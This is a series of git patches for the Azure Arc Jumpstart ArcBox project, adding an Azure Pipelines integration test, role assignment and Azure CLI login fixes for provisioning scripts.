'LatestVersion' Inline: | Write-Host "Deploying to $(ResourceGroupName)" - New-AzResourceGroupDeployment -Name ArcBox -ResourceGroupName $(ResourceGroupName) -TemplateFile scenarios/arcbox/main.bicep -TemplateParameterFile scenarios/arcbox/arcbox-demo.parameters.json + -TemplateParameterFile scenarios/arcbox/arcbox-demo.parameters.json + New-AzResourceGroupDeployment -Name ArcBox ` + -ResourceGroupName $(ResourceGroupName) ` + -TemplateFile azure_jumpstart_arcbox/bicep/main.bicep ` + -TemplateParameterFile "azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json" ` + -TemplateParameterObject @{ + spnClientId = $env:spnClientId + spnClientSecret = $env:spnClientId + spnTenantId = $env:spnClientId + windowsAdminPassword = $env:spnClientId + } + - task: AzurePowerShell@5 displayName: 'Upload Pester test-results from ArcBox VM' From 47e60a92ed802136053066f0658dac026c7c128c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 19 Jan 2024 20:51:44 +0000 Subject: [PATCH 077/456] Bugfix - variable names Signed-off-by: Jan Egil Ring --- .../artifacts/integration_tests/arcbox_itpro.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml index cc9d1f562a..cb51da87bc 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.yml @@ -57,9 +57,9 @@ stages: -TemplateParameterFile "azure_jumpstart_arcbox/artifacts/integration_tests/arcbox_itpro.parameters.json" ` -TemplateParameterObject @{ spnClientId = $env:spnClientId - spnClientSecret = $env:spnClientId - spnTenantId = $env:spnClientId - windowsAdminPassword = $env:spnClientId + spnClientSecret = $env:spnClientSecret + spnTenantId = $env:spnTenantId + windowsAdminPassword = $env:windowsAdminPassword } From 39840dac01c739773c8c70e1086d90616c3df52a Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 23 Jan 2024 13:46:53 +0200 Subject: [PATCH 078/456] Update Azure CLI commands and remove unused code --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 1 - azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 - 2 files changed, 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 1eb46b06b0..807b2b9b48 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -33,7 +33,6 @@ Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincip # Required for CLI commands Write-Header "Az CLI Login" az login --service-principal --username $Env:spnClientID --password $Env:spnClientSecret --tenant $Env:spnTenantId -az account set -s $Env:subscriptionId # Register Azure providers Write-Header "Registering Providers" diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index ccfa513ce9..2af78f7395 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -78,7 +78,6 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "" echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID -subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) az -v echo "" From 7bf04d301678b3f3a697da9387437a6ab20c5bde Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 23 Jan 2024 13:47:53 +0200 Subject: [PATCH 079/456] Remove unnecessary blank line and print Azure CLI version --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 2af78f7395..2961029e8f 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -78,7 +78,6 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "" echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID - az -v echo "" From bf841b0a1cfc12709940f000817217c63c864a2d Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 23 Jan 2024 13:48:39 +0200 Subject: [PATCH 080/456] Update Azure CLI versions and set subscription ID --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 5 +++-- azure_jumpstart_arcbox/artifacts/installK3s.sh | 3 ++- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 7e8e6fb0f0..1eb46b06b0 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -32,7 +32,8 @@ Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincip # Required for CLI commands Write-Header "Az CLI Login" -az login --service-principal --username $Env:spnClientID --password=$Env:spnClientSecret --tenant $Env:spnTenantId +az login --service-principal --username $Env:spnClientID --password $Env:spnClientSecret --tenant $Env:spnTenantId +az account set -s $Env:subscriptionId # Register Azure providers Write-Header "Registering Providers" @@ -194,7 +195,7 @@ $clusters | Foreach-Object -ThrottleLimit 5 -Parallel { --auto-upgrade false ` --scope cluster ` --release-namespace arc ` - --version 1.26.0 ` + --version 1.25.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper Write-Host "`n" diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 27832a807d..3ec915d1ac 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -77,7 +77,8 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "" echo "Log in to Azure" -sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) az -v echo "" From 35437c1eb0bb24ec0bf89666d069f4fcf1eaece6 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 11:52:02 +0000 Subject: [PATCH 081/456] Adding Storage Blob Data Contributor role assignment to SPN Signed-off-by: Jan Egil Ring --- .../integration_tests/scripts/Send-PesterResult.ps1 | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index db5793c2a9..26de6dc410 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -6,6 +6,14 @@ $timeout = New-TimeSpan -Minutes 180 $endTime = (Get-Date).Add($timeout) $logFilePath = "C:\ArcBox\Logs\ArcServersLogonScript.log" +Write-Output "Adding Storage Blob Data Contributor role assignment to SPN $env:spnClientId for allowing upload of Pester test results to Azure Storage" + +$ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output json | ConvertFrom-Json + +$StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup + +$null = New-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id + Write-Output "Waiting for PowerShell transcript end in $logFilePath" do { @@ -34,8 +42,6 @@ $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnC $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process -$StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup - $ctx = New-AzStorageContext -StorageAccountName $StorageAccount.StorageAccountName -UseConnectedAccount New-AzStorageContainer -Name testresults -Context $ctx -Permission Off From b1a4c78dd54754803515d261d364ee7ab181266c Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 23 Jan 2024 13:55:43 +0200 Subject: [PATCH 082/456] Add OpenSSL to PATH environment variable --- azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 | 7 +++++++ azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml | 6 +++--- 2 files changed, 10 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 index d652cd1328..2e2eb57d7a 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsAppScript.ps1 @@ -16,6 +16,13 @@ $certPassword = ConvertTo-SecureString -String $password -Force -AsPlainText Export-PfxCertificate -Cert "cert:\CurrentUser\My\$($cert.Thumbprint)" -FilePath "$Env:TempDir\$CName.pfx" -Password $certPassword Import-PfxCertificate -FilePath "$Env:TempDir\$CName.pfx" -CertStoreLocation Cert:\LocalMachine\Root -Password $certPassword +# Add OpenSSL to path environment variable +$openSSL = "C:\Program Files\FireDaemon OpenSSL 3\bin" +$currentPathVariable = [Environment]::GetEnvironmentVariable("PATH", [EnvironmentVariableTarget]::Machine) +$newPathVariable = $currentPathVariable + ";" + $openSSL +[Environment]::SetEnvironmentVariable("PATH", $newPathVariable, [EnvironmentVariableTarget]::Machine) + + openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -nocerts -out "$Env:TempDir\$CName.key" -password pass:$password -passout pass:$password openssl pkcs12 -in "$Env:TempDir\$CName.pfx" -clcerts -nokeys -out "$Env:TempDir\$CName.crt" -password pass:$password openssl rsa -in "$Env:TempDir\$CName.key" -out "$Env:TempDir\$CName-dec.key" -passin pass:$password diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml index d1bb0659d1..748107de36 100644 --- a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -45,11 +45,11 @@ properties: id: Microsoft.AzureDataStudio source: winget - resource: Microsoft.WinGet.DSC/WinGetPackage - id: ShiningLight.OpenSSL.Light + id: FireDaemon.OpenSSL directives: - description: Install OpenSSL light + description: Install OpenSSL settings: - id: ShiningLight.OpenSSL.Light + id: FireDaemon.OpenSSL source: winget configurationVersion: 0.2.0 \ No newline at end of file From 3232399b31bdb5f337e9435d608a906747aa5655 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 12:32:22 +0000 Subject: [PATCH 083/456] Updated source URI for Set-AzVMRunCommand Signed-off-by: Jan Egil Ring --- .../integration_tests/scripts/Wait-ArcBoxDeployment.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 index d3e7b7ccb0..16f06e001b 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1 @@ -6,7 +6,7 @@ param( Write-Host "Starting VM Run Command to wait for deployment and retrieve Pester test results from ArcBox-Client in resource group $ResourceGroupName" $Location = (Get-AzVM -ResourceGroupName $ResourceGroupName).Location -Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://gist.githubusercontent.com/janegilring/0df14b6b45cde9ebc3060aad995ce173/raw/337a867488b532ccfaece62b5c805d3a31d44c2b/Send-PesterResult.ps1" -AsyncExecution +Set-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Location $Location -SourceScriptUri "https://raw.githubusercontent.com/microsoft/azure_arc/arcbox_3.0/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1" -AsyncExecution do { $job = Get-AzVMRunCommand -ResourceGroupName $ResourceGroupName -VMName ArcBox-Client -RunCommandName RetrievePesterResults -Expand InstanceView From fdc7f54b18f6794fce82b96504ea93a539958511 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 23 Jan 2024 15:02:16 +0200 Subject: [PATCH 084/456] Fix Azure subscription issue --- azure_jumpstart_arcbox/artifacts/installCAPI.sh | 2 +- azure_jumpstart_arcbox/artifacts/installK3s.sh | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/installCAPI.sh b/azure_jumpstart_arcbox/artifacts/installCAPI.sh index 90b91df034..7b06c2a37a 100644 --- a/azure_jumpstart_arcbox/artifacts/installCAPI.sh +++ b/azure_jumpstart_arcbox/artifacts/installCAPI.sh @@ -53,7 +53,7 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password=$SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) - +sudo -u $adminUsername az account set -s $subscriptionId export AZURE_RESOURCE_GROUP=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) az -v echo "" diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 3ec915d1ac..2ef7db3bcb 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -79,6 +79,7 @@ echo "" echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) +sudo -u $adminUsername az account set -s $subscriptionId az -v echo "" From 9dfce9262b82bd2b49c19ea77268be1682114080 Mon Sep 17 00:00:00 2001 From: Francisco Cabrera Date: Tue, 23 Jan 2024 11:13:25 -0300 Subject: [PATCH 085/456] Set up CI with Azure Pipelines (#2360) * Set up CI with Azure Pipelines [skip ci] * Update azure-pipelines.yml for Azure Pipelines * Change variable group name * Update variable * Added missing backticks * Updated syntax for parameter object * Added all parameters to TemplateParameterObject * Bugfix - remove unneeded string * Added missing parameter windowsAdminUsername * Syntax for variable references updated * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines * Update azure-pipelines.yml for Azure Pipelines --------- Co-authored-by: Jan Egil Ring --- azure-pipelines.yml | 120 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 azure-pipelines.yml diff --git a/azure-pipelines.yml b/azure-pipelines.yml new file mode 100644 index 0000000000..8ed2fde285 --- /dev/null +++ b/azure-pipelines.yml @@ -0,0 +1,120 @@ +trigger: + branches: + include: + - arcbox_3.0 + paths: + include: + - azure_jumpstart_arcbox/* + +parameters: +- name: ResourceGroupName + displayName: 'Resource Group Name' + type: string + default: 'arcbox-itpro-integration-tests' +- name: AzureSubscription + displayName: 'Azure Subscription' + type: string + default: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' + +variables: +- group: 'integration-tests' +- name: ResourceGroupName + value: ${{parameters.ResourceGroupName}} + +stages: +- stage: 'ArcBox_deployment' + jobs: + - job: Deploy + timeoutInMinutes: 235 # 5 minutes before the ACA self-hosted runner in order for the runner to gracefully shutdown + pool: + #name: arc-jumpstart-container-apps-pool + vmImage: 'ubuntu-latest' + continueOnError: 'true' + steps: + + - task: BicepInstall@0 + displayName: 'Install Bicep' + inputs: + version: 0.24.24 + + - task: AzurePowerShell@5 + displayName: 'Deploy resource group' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Running deployment from machine $(hostname) and public IP $(irm ifconfig.me/ip)" + $RGname = "$(ResourceGroupName)" + New-AzResourceGroup -Name $RGname -Location "eastus" + + - task: AzurePowerShell@5 + displayName: 'Deploy Bicep template' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deploying to $(ResourceGroupName)" + New-AzResourceGroupDeployment -Name ArcBox ` + -ResourceGroupName $(ResourceGroupName) ` + -TemplateFile azure_jumpstart_arcbox/bicep/main.bicep ` + -TemplateParameterObject @{ ` + spnClientId = "$(spnClientId)" ; ` + spnClientSecret = "$(spnClientSecret)" ; ` + spnTenantId = "$(spnTenantId)" ; ` + windowsAdminUsername = "arcdemo" ; ` + windowsAdminPassword = "$(windowsAdminPassword)" ; ` + sshRSAPublicKey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsdlSaF10Uw0fFysiIV0VYeJGE1CaV0ZjZcakcKgafiqZ04sAzf7KnoIjPVyx6LXoDTKGtv1e5eFjRZA7Z0Bu+a3JqY252/yr/B2R3Mu5qZHbKFncpVEXn7sUmYk4rDG5vToFxbhpKX5EGyvM1M0quoUv3Uv9reBsSDdjk7n7oA2Q+89rj4nfRuTEMQRwvNBaLeNRSlWuzPq4EkpwxSWRzIC2auC5K0rxGiTMPTXMOQ3l0DvzKRoEsygHA4c3uw0PTntSlgSSTgtGdQfuX63hAD4QPTVfeQdsW5+Nq3clr+6SHgeGdwHhKjUVTF+E2olfSYtuV4CqPW8dZdDBOZg7pXLMSVumZVKCZiUV6uBJkvLBRMzMiFsfXOVrgyThMqq+8y4tg/V3l/3S8z5Lngy4WoCAQMHQ1SloPmy9s4QnbjCFEQx/cIq9H+Uw6HAYhdQFh/w/tuIP+KIqOpMOrltZuaoqx3AOOL3BPXJMbv3opiZxCEZQFf68n+Zn6uRc9u1EENA9s1DrjG1j/CHWzbX/t63Ig/xQLgKLu9T+evua3dcWsYc3j1Gvk8R+ioXV7x0/fi6twrhSQxBIIL0D2Pxm8TBfJ3mVXk0kYGGq1mBsoxAzjoBhcbdwUMXHbAksj4/UuuAK5VfH278hlXo/BHSgDLZ98fdS63nq7rIr6qWmBrQ==" ; ` + logAnalyticsWorkspaceName = "arcbox-la" ; ` + flavor = "ITPro" ; ` + deployBastion = $false ; ` + githubAccount = "microsoft" ; ` + githubBranch = "arcbox_3.0" ; ` + vmAutologon = $true ; ` + rdpPort = "3389" ` + } + + + - task: AzurePowerShell@5 + displayName: 'Upload Pester test-results from ArcBox VM' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Wait-ArcBoxDeployment.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: AzurePowerShell@5 + displayName: 'Download Pester test-results from storage account to pipeline agent' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: FilePath + azurePowerShellVersion: 'LatestVersion' + ScriptPath: 'azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Get-PesterResult.ps1' + ScriptArguments: -ResourceGroupName $(ResourceGroupName) + + - task: PublishTestResults@2 + displayName: 'Publish Test Results' + inputs: + testResultsFormat: NUnit + testResultsFiles: '$(System.DefaultWorkingDirectory)/testresults/*.xml' + +- stage: destroy + displayName: 'ArcBox_teardown' + #condition: succeeded('deploy') + jobs: + - deployment: + displayName: "Get approval" + environment: 'teardown_approval' + - job: Delete + steps: + - task: AzurePowerShell@5 + displayName: 'Delete resource group' + inputs: + azureSubscription: ${{parameters.AzureSubscription}} + ScriptType: 'InlineScript' + azurePowerShellVersion: 'LatestVersion' + Inline: | + Write-Host "Deleting resource group $(ResourceGroupName)" + Remove-AzResourceGroup -Name $(ResourceGroupName) -Force -WhatIf \ No newline at end of file From 62bcfc0c788d35dbd0aee4f1912c0da51a12ff3e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 14:17:05 +0000 Subject: [PATCH 086/456] Moved Connect-AzAccount to the top Signed-off-by: Jan Egil Ring --- .../integration_tests/scripts/Send-PesterResult.ps1 | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 26de6dc410..25abf5516b 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -8,6 +8,11 @@ $logFilePath = "C:\ArcBox\Logs\ArcServersLogonScript.log" Write-Output "Adding Storage Blob Data Contributor role assignment to SPN $env:spnClientId for allowing upload of Pester test results to Azure Storage" +$spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force +$spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) + +$null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process + $ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output json | ConvertFrom-Json $StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup @@ -37,10 +42,6 @@ do { Start-Sleep -Seconds 60 } while ((Get-Date) -lt $endTime) -$spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force -$spncredential = New-Object System.Management.Automation.PSCredential ($env:spnClientId, $spnpassword) - -$null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process $ctx = New-AzStorageContext -StorageAccountName $StorageAccount.StorageAccountName -UseConnectedAccount From e2a13386b84ac09ff41cc0f3e3e2aaafca198b31 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 14:23:07 +0000 Subject: [PATCH 087/456] Added logic to wait for Azure CLI to be installed Signed-off-by: Jan Egil Ring --- .../scripts/Send-PesterResult.ps1 | 39 +++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 25abf5516b..0e67478cf8 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -13,6 +13,45 @@ $spncredential = New-Object System.Management.Automation.PSCredential ($env:spnC $null = Connect-AzAccount -ServicePrincipal -Credential $spncredential -Tenant $env:spntenantId -Subscription $env:subscriptionId -Scope Process +Write-Output "Wait for Azure CLI to become available (installed by WinGet)" + +# Starting time +$startTime = Get-Date + +# Duration to wait (60 minutes) +$duration = New-TimeSpan -Minutes 60 + +do { + # Check if the path exists + $exists = Test-Path "C:\Program Files\Microsoft SDKs\Azure\CLI2\wbin\az.cmd" + + # Break if the path exists + if ($exists) { + Write-Host "File found." + break + } + + # Wait for a short period before rechecking to avoid constant CPU usage + Start-Sleep -Seconds 30 + +} while ((Get-Date) -lt $startTime.Add($duration)) + +if (-not $exists) { + Write-Host "File not found within the 60-minute time frame." +} + +# Get the current path +$currentPath = $env:Path + +# Path to be added +$newPath = "C:\Program Files\Microsoft SDKs\Azure\CLI2\wbin" + +# Add the new path to the current session's Path environment variable +$env:Path = $currentPath + ";" + $newPath + +Write-Output "Az CLI Login" +az login --service-principal --username $env:spnClientId --password=$env:spnClientSecret --tenant $env:spnTenantId + $ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output json | ConvertFrom-Json $StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup From c2070d0a70e312dae8976bf5018013eead8f3ae3 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 15:59:31 +0000 Subject: [PATCH 088/456] Set context for Azure CLI for cases where SPN have access to multiple subscriptions Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 | 1 + 1 file changed, 1 insertion(+) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index d94e85b619..39c5ccb8e0 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -136,6 +136,7 @@ if ($Env:flavor -ne "DevOps") { # Required for CLI commands Write-Header "Az CLI Login" az login --service-principal --username $spnClientId --password=$spnClientSecret --tenant $spnTenantId + az account set -s $env:subscriptionId Write-Header "Az PowerShell Login" $spnpassword = ConvertTo-SecureString $env:spnClientSecret -AsPlainText -Force From 079579a0b1ec88992a9ca4f10ecdc625a4bf915c Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 15:59:46 +0000 Subject: [PATCH 089/456] Wait for eventual consistencty after RBAC assignment Signed-off-by: Jan Egil Ring --- .../artifacts/integration_tests/scripts/Send-PesterResult.ps1 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 index 0e67478cf8..17281f6e85 100644 --- a/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 +++ b/azure_jumpstart_arcbox/artifacts/integration_tests/scripts/Send-PesterResult.ps1 @@ -51,6 +51,7 @@ $env:Path = $currentPath + ";" + $newPath Write-Output "Az CLI Login" az login --service-principal --username $env:spnClientId --password=$env:spnClientSecret --tenant $env:spnTenantId +az account set -s $env:subscriptionId $ClientObjectId = az ad sp list --filter "appId eq '$env:spnClientId'" --output json | ConvertFrom-Json @@ -58,6 +59,9 @@ $StorageAccount = Get-AzStorageAccount -ResourceGroupName $env:resourceGroup $null = New-AzRoleAssignment -ObjectId $ClientObjectId.id -RoleDefinitionName "Storage Blob Data Contributor" -Scope $StorageAccount.Id +Write-Output "Wait for eventual consistencty after RBAC assignment" +Start-Sleep 120 + Write-Output "Waiting for PowerShell transcript end in $logFilePath" do { From d3e75ef52568300fb4501dcf569590f6e9696252 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 23 Jan 2024 19:19:31 +0100 Subject: [PATCH 090/456] Testing arc-jumpstart-container-apps-pool --- azure-pipelines.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index 8ed2fde285..ec5948e941 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -27,8 +27,8 @@ stages: - job: Deploy timeoutInMinutes: 235 # 5 minutes before the ACA self-hosted runner in order for the runner to gracefully shutdown pool: - #name: arc-jumpstart-container-apps-pool - vmImage: 'ubuntu-latest' + name: arc-jumpstart-container-apps-pool + #vmImage: 'ubuntu-latest' continueOnError: 'true' steps: From b2aa4f3b40c3fc5a58c8796393745b6d4e8a09e0 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Sat, 27 Jan 2024 08:19:40 +0100 Subject: [PATCH 091/456] Add githubAccount and githubBranch parameters to azure-pipelines.yml Signed-off-by: Jan Egil Ring --- azure-pipelines.yml | 24 ++++++++++++++++++++++-- 1 file changed, 22 insertions(+), 2 deletions(-) diff --git a/azure-pipelines.yml b/azure-pipelines.yml index ec5948e941..92077c1d42 100644 --- a/azure-pipelines.yml +++ b/azure-pipelines.yml @@ -15,11 +15,23 @@ parameters: displayName: 'Azure Subscription' type: string default: 'Azure Arc Jumpstart Develop(98a19988-5c3d-4824-a685-f5cf12ae5c19)' +- name: githubAccount + displayName: 'githubAccount' + type: string + default: 'microsoft' +- name: githubBranch + displayName: 'githubBranch' + type: string + default: 'arcbox_3.0' variables: - group: 'integration-tests' - name: ResourceGroupName value: ${{parameters.ResourceGroupName}} +- name: githubAccount + value: ${{parameters.githubAccount}} +- name: githubBranch + value: ${{parameters.githubBranch}} stages: - stage: 'ArcBox_deployment' @@ -56,6 +68,14 @@ 